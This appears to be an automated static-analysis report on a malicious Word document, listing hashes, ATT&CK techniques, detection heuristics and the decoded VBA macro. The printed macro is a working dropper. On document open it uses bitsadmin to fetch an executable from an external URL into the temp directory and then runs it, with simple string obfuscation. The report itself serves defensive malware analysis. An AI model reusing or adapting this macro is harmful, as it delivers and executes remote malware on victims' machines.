Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 47e141c580a01899…

MALICIOUS

Office (OLE)

115.5 KB Created: 2019-03-09 08:53:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 405621c931e629d55fe87c8f8e7fc929 SHA-1: 9c4be418b2585cd1face486a94fd793d18ad6970 SHA-256: 47e141c580a01899446b2dcea31f24854ba54d525c467fa3bfc02e1547938032
398 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The VBA macro contains a Document_Open subroutine that executes obfuscated code. This code constructs a URL to download a malicious executable and saves it to the temporary directory. The script then attempts to execute the downloaded file, likely to establish a foothold or download further payloads. The obfuscation and use of WScript.Shell indicate a dropper functionality.

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-6969065-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6969065-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (trfutyjnih)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set yuijtrhb = CreateObject("WScript.Shell")
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set yuijtrhb = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set yuijtrhb = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    trfutyjnih = Environ$(Replace("taaampaaa", "aaa", "")) & "\" & Replace("\filenameabc", "abc", ".exe")
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1126 bytes
SHA-256: 472a7c24b845b93e3a892f5f0c4909fa7579b3364e030d8ccba7802aeb040a7e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()

dfgfdgfg

End Sub

Sub dfgfdgfg()

fgthdfggffghgf = Replace(("hhhfda.gov.pk/assets/uploads/GalleryAlbumImages/Adobe%20Plugin%20Updaterabc"), "abc", ".exe")

gggg = Replace(fgthdfggffghgf, "hhh", "http://")

Set yuijtrhb = CreateObject("WScript.Shell")

trfutyjnih = Environ$(Replace("taaampaaa", "aaa", "")) & "\" & Replace("\filenameabc", "abc", ".exe")

yuijtrhb.Run Replace(("abcbitsabcadmin /transabcfer myFabcile /downlabcoad /priorabcity norabcmal "), "abc", "") & gggg & " " & trfutyjnih, Replace("050", "50", ""), Replace("Fa50lse", "50", "")

rthybfhd (60)

Shell (trfutyjnih)

End Sub

Sub rthybfhd(sec)

    Dim temp

    temp = Timer

    Do While Timer - temp < sec

    Loop

End Sub


Attribute VB_Name = "NewMacros"
Sub my()
'
' my Macro
'
'

End Sub